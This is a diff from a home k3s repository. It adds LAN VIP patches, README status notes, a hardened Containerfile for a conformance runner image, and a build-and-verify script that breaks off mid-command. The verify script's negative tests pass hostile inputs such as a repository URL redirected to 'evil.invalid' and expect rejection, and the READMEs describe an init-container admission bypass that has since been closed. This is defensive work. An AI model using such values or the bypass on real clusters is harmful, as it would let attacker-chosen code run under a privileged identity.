+      # 192.168.2.23 is the NEXT FREE address in the prod pool 192.168.2.20-.30, verified live
+      # 2026-09-14: the CiliumLoadBalancerIPPool `default-pool` reported IPsTotal 11 / IPsUsed 3 /
+      # IPsAvailable 8, and the only three allocations are .20 (cilium-gateway-shared), .21
+      # (unifi-l4-tcp/-udp) and .22 (crafty-l4-tcp/-udp). ARP-probed from a LAN host in the same
+      # broadcast domain (arping 192.168.2.23, 3 probes, 0 responses), so nothing off-cluster holds
+      # it either, and it is inside the pool block the operator already asserted sits outside the
+      # SOHO router's DHCP scope.
+      - op: replace
+        path: /data/PIHOLE_DNS_VIP
+        value: "192.168.2.23"
+      # Plex's remote-access listener VIP — raw tcp/32400 for REMOTE Plex clients
+      # (apps/wave-0/plex-remote.yaml). 192.168.2.24 is the NEXT FREE address in the prod pool
+      # 192.168.2.20-.30, verified live 2026-10-03: the CiliumLoadBalancerIPPool `default-pool`
+      # reported IPsTotal 11 / IPsUsed 4 / IPsAvailable 7, and the only four allocations are .20
+      # (cilium-gateway-shared), .21 (unifi-l4-tcp/-udp), .22 (crafty-l4-tcp/-udp) and .23
+      # (pihole-dns-tcp/-udp). It is inside the pool block the operator already asserted sits outside
+      # the SOHO router's DHCP scope, and it is not a node address (.10/.11/.12) or the
+      # control-plane VIP (.9).
+      #
+      # UNLIKE .23, THIS ONE IS ALSO A WAN PORT-FORWARD TARGET. The router forwards WAN tcp/32400
+      # here, by hand, off-repo — so changing this value is a two-place edit and the router is the
+      # half that CI cannot check. runbooks/plex-remote-access.md is the procedure.
+      #
+      # NOT ARP-PROBED. .23 was verified free with `arping` from a LAN host before it was claimed;
+      # for .24 only the in-cluster pool accounting above was checked, so an off-cluster squatter on
+      # this address would not have been caught. Probe before trusting it if remote access comes up
+      # with a conflict.
+      - op: replace
+        path: /data/PLEX_L4_VIP
+        value: "192.168.2.24"
+      # The prod flat LAN. This is the 192.168.2.0/24 segment the SOHO ROUTER at 192.168.2.1 owns —
+      # NOT pfSense's 192.168.1.0/24, which is a different network and not in the LAN-DNS path.
+      # It scopes the ingress allow for PiHole's DNS listener to LAN clients only.
+      - op: replace
+        path: /data/LAN_CIDR
+        value: "192.168.2.0/24"
       # ------------------------------------------------------------------------------------------
       # BULK (EXTERNAL NFS) STORAGE HOST — *** NOT YET DECIDED. THIS PLACEHOLDER IS LOAD-BEARING. ***
       # ------------------------------------------------------------------------------------------

conformance/README.md

@@ -1,5 +1,19 @@
 # conformance/ — the home-k3s conformance harness (WS-TEST)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 This subtree is the **definition of "done"** for the whole platform. Nothing is accepted
 on a demo, a screenshot, or "it reconciled": every requirement is proven by an
 **automated, reproducible, behavior-based test** tagged with the requirement ID(s) it

conformance/incluster/Containerfile

@@ -0,0 +1,200 @@
+# =============================================================================
+# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
+# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
+# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
+# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
+# would have failed at exec of `./run.sh`. This image carries exactly what
+# `conformance/run.sh` needs:
+#
+#   bash      run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
+#   python3   lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
+#             (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
+#   chainsaw  the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
+#   kubectl   conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
+#   git       the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
+#             run.sh's `rev-parse --short HEAD` for the run id
+#   tar/gzip/coreutils  the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
+#
+# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
+# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
+# hole, not for convenience: see the COPY below and the script's own header.
+#
+# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
+# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
+# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
+# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
+# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
+#
+# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
+# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
+# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
+# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
+# baking the whole devcontainer toolchain into the runner would roughly double its size to
+# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
+# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
+# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
+# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
+# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
+# args is T-6.1b's call, not this image's.
+#
+# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
+# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
+# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
+# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
+# consequences are baked in here:
+#
+#   1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
+#      REJECTS an image whose USER is a name it cannot resolve to a uid
+#      ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
+#   2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
+#      and `results` volumes — there is no writable /tmp and one cannot be added without
+#      changing the boundary. So HOME and every cache path point INTO /workspace (the
+#      emptyDir), not at the read-only root. That is why HOME=/workspace below.
+# =============================================================================
+
+# --- builder: fetch the pinned release binaries ------------------------------
+# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
+# image, so the runner does not carry a downloader it has no business having at runtime.
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG TARGETARCH=amd64
+
+# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
+RUN set -eux; \
+    : "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
+    : "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
+
+# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
+# and kubectl in this image are the same builds the toolbox gate runs with.
+#
+# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
+# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
+# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
+# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
+# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
+# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
+#  --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
+# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
+# that belongs in its own reviewed change, not as a silent addition to a runner image.
+# infra/devcontainer/Containerfile has the same gap for the same binary.
+RUN set -eux; \
+    mkdir -p /out; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
+      -o /out/kubectl; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
+      -o /tmp/kubectl.sha256; \
+    echo "$(cat /tmp/kubectl.sha256)  /out/kubectl" | sha256sum -c -; \
+    curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
+      | tar -xz -C /out chainsaw; \
+    chmod 0755 /out/kubectl /out/chainsaw; \
+    /out/kubectl version --client=true --output=yaml >/dev/null; \
+    /out/chainsaw version >/dev/null
+
+# --- runtime -----------------------------------------------------------------
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG FEDORA_VERSION=44
+# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
+# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
+ARG RUNNER_UID=65532
+ARG RUNNER_GID=65532
+
+LABEL org.opencontainers.image.title="conformance-runner" \
+      org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
+      org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
+      org.opencontainers.image.documentation="conformance/incluster/README.md" \
+      homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
+
+# bash: run.sh + every check.sh.  python3: the stdlib report generators.
+# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
+# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
+# tar+gzip: the base64-tar results channel.  diffutils: `diff` in the L1 golden compare.
+# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
+RUN set -eux; \
+    microdnf -y install --setopt=install_weak_deps=0 --nodocs \
+      bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
+      ca-certificates; \
+    microdnf clean all; \
+    rm -rf /var/cache/* /var/log/dnf*
+
+COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
+
+# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
+# surface, because the admission policy pins the main container's `command` but never reads
+# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
+# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
+# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
+# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
+# boundary, not here. See the script's header for the env-injection half of the same hole.
+#
+# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
+# executable the policy will trust. Ownership is asserted below rather than assumed.
+COPY conformance-clone /usr/local/bin/conformance-clone
+RUN set -eux; \
+    chown root:root /usr/local/bin/conformance-clone; \
+    chmod 0755 /usr/local/bin/conformance-clone; \
+    bash -n /usr/local/bin/conformance-clone; \
+    /usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
+    test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
+
+# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
+# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
+RUN set -eux; \
+    echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
+    echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
+    install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
+
+# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
+# root filesystem is read-only — a runtime `--global` write would fail.
+# safe.directory=*: the init-container clones into the shared emptyDir and the main container
+# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
+# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
+# is no pre-existing hostile checkout this relaxes a check against.
+RUN set -eux; \
+    printf '%s\n' \
+      '[safe]' \
+      '	directory = *' \
+      '[advice]' \
+      '	detachedHead = false' \
+      > /etc/gitconfig; \
+    chmod 0644 /etc/gitconfig
+
+# Provenance: what is actually in this layer, readable from a running pod.
+RUN set -eux; \
+    { echo "fedora=${FEDORA_VERSION}"; \
+      echo "chainsaw=${CHAINSAW_VERSION}"; \
+      echo "kubectl=${KUBECTL_VERSION}"; \
+      echo "bash=$(bash --version | head -1)"; \
+      echo "python3=$(python3 --version)"; \
+      echo "git=$(git --version)"; \
+      echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
+    } > /etc/conformance-runner-versions; \
+    chmod 0444 /etc/conformance-runner-versions
+
+# Every writable path points into the `workspace` emptyDir — the root filesystem is
+# read-only and the admission policy forbids adding a third volume for scratch.
+ENV HOME=/workspace \
+    XDG_CACHE_HOME=/workspace/.cache \
+    XDG_CONFIG_HOME=/workspace/.config \
+    TMPDIR=/workspace/.tmp \
+    PYTHONDONTWRITEBYTECODE=1 \
+    CONF_ROOT=/workspace/conformance
+
+USER ${RUNNER_UID}:${RUNNER_GID}
+WORKDIR /workspace
+
+# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
+# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
+# prepend something the policy cannot see. `bash` is the interactive fallback for a human
+# debugging the image locally.
+CMD ["/bin/bash"]

conformance/incluster/README.md

@@ -1,5 +1,19 @@
 # In-cluster conformance Job (L2/L3)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
 cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
 on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
@@ -11,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
+- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
+  `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
+  filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
+  it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
+  source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
+  uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
+  L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
+  kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
+- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
+  `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+  > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
+  > merely *available* rather than *required*. The rule that closes it is
+  > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
+  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
+  prints the exact `podman push --digestfile …` command for the operator instead. See
+  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
+  and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
+  default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/build-image.sh

@@ -0,0 +1,229 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
+# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+#   ./build-image.sh                 # build + verify + print the digest and push command
+#   ./build-image.sh --no-verify     # build only (skip the in-image tool proof)
+#   ./build-image.sh --verify-clone  # ALSO really clone this repo with conformance-clone.
+#                                    #   Opt-in because it needs the Gitea host reachable; the
+#                                    #   default verify is offline so an air-gapped build is
+#                                    #   still fully checked rather than half-checked.
+#   ENGINE=docker ./build-image.sh   # build with docker instead of podman
+#
+# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
+# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
+# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
+# non-root uid the policy demands, and prints the exact `podman push` line for a human.
+#
+# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
+# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
+# pins the toolbox gate runs with. Nothing in this file invents a version.
+#
+# THE DIGEST CAVEAT — read it before pasting a digest into anything.
+# The digest printed here is the LOCAL manifest digest. It is normally identical to the
+# registry digest (podman pushes the manifest it already has rather than recompressing),
+# but that is a property of the push, not a guarantee. So the push command below uses
+# `--digestfile`: the digest the registry actually returns is the authoritative one, and
+# that is the one that goes into conformance/versions.env.
+###############################################################################
+set -euo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
+ENGINE="${ENGINE:-podman}"
+
+VERIFY=1
+VERIFY_CLONE=0
+for arg in "$@"; do
+  case "$arg" in
+    --no-verify) VERIFY=0 ;;
+    --verify-clone) VERIFY_CLONE=1 ;;
+    -h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
+    *) echo "unknown argument: $arg" >&2; exit 2 ;;
+  esac
+done
+
+log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
+
+command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
+
+# --- pins: sourced, never invented -------------------------------------------
+TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
+[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
+# shellcheck disable=SC1090
+source "${TOOLCHAIN_ENV}"
+: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
+
+# --- image name: fixed by the admission policy -------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
+# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
+# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
+IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# The tag is build convenience only (a human-readable handle for the push). Admission
+# ignores it: only the digest is ever referenced from a Job.
+IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
+IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
+
+log "Building ${IMAGE_REF}"
+info "engine            ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
+info "pins from         ${TOOLCHAIN_ENV}"
+info "  CHAINSAW        ${CHAINSAW_VERSION}"
+info "  KUBECTL         ${KUBECTL_VERSION}"
+info "  FEDORA          ${FEDORA_VERSION}"
+
+"${ENGINE}" build \
+  --file "${HERE}/Containerfile" \
+  --tag "${IMAGE_REF}" \
+  --build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
+  --build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
+  --build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
+  "${HERE}"
+
+# --- verify: the point of the whole exercise ---------------------------------
+# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
+# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
+# filesystem — the shape the admission policy forces. A pass here is the only evidence
+# this image is usable; a build that merely succeeded is not.
+if [ "${VERIFY}" -eq 1 ]; then
+  log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --entrypoint "" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      echo "--- id ---";             id
+      echo "--- HOME ---";           echo "HOME=${HOME}"
+      echo "--- bash ---";           bash --version | head -1
+      echo "--- python3 ---";        python3 --version
+      echo "--- git ---";            git --version
+      echo "--- kubectl ---";        kubectl version --client
+      echo "--- chainsaw ---";       chainsaw version
+      echo "--- baked versions ---"; cat /etc/conformance-runner-versions
+      echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
+      stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
+      if [ -w /usr/local/bin/conformance-clone ]; then
+        echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
+      fi
+      echo "confirmed: not writable by uid $(id -u)"
+      # Each of these MUST fail. Assert the non-zero exit as well as the message: a check
+      # that only greps stderr would pass a build where the guard had stopped rejecting.
+      # (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
+      # expected failure — without it the verify dies at the first negative case.)
+      expect_fail() {
+        local label="$1"; shift
+        local out rc=0
+        out="$(env "$@" 2>&1)" || rc=$?
+        echo "--- ${label} ---"
+        printf "%s\n" "${out}" | head -2
+        if [ "${rc}" -eq 0 ]; then
+          echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
+        fi
+        echo "(rejected, exit ${rc})"
+      }
+      expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
+        conformance-clone --layer l2
+      expect_fail "conformance-clone rejects a missing SHA" \
+        conformance-clone
+      expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
+        CONFORMANCE_GIT_SHA=main conformance-clone
+      expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
+        CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
+      expect_fail "conformance-clone rejects a HOME off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        HOME=/etc conformance-clone
+      expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
+      expect_fail "conformance-clone refuses a clone target off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_SRC=/etc/src conformance-clone
+      echo "--- rootfs is read-only (expected: a failure) ---"
+      if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
+      echo "confirmed: / is read-only"
+      echo "--- HOME is writable (the workspace emptyDir) ---"
+      touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
+      echo "--- uid is non-zero ---"
+      [ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
+    '
+  log "Toolchain verified"
+fi
+
+# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
+# The negative cases above prove conformance-clone refuses bad input. This proves the
+# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
+# rev-parse assertion is only an unexercised line of shell.
+if [ "${VERIFY_CLONE}" -eq 1 ]; then
+  log "Verifying conformance-clone against the real repository"
+  SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
+  info "requesting commit ${SHA}"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --network host \
+    --entrypoint "" \
+    -e "CONFORMANCE_GIT_SHA=${SHA}" \
+    "${IMAGE_REF}" \
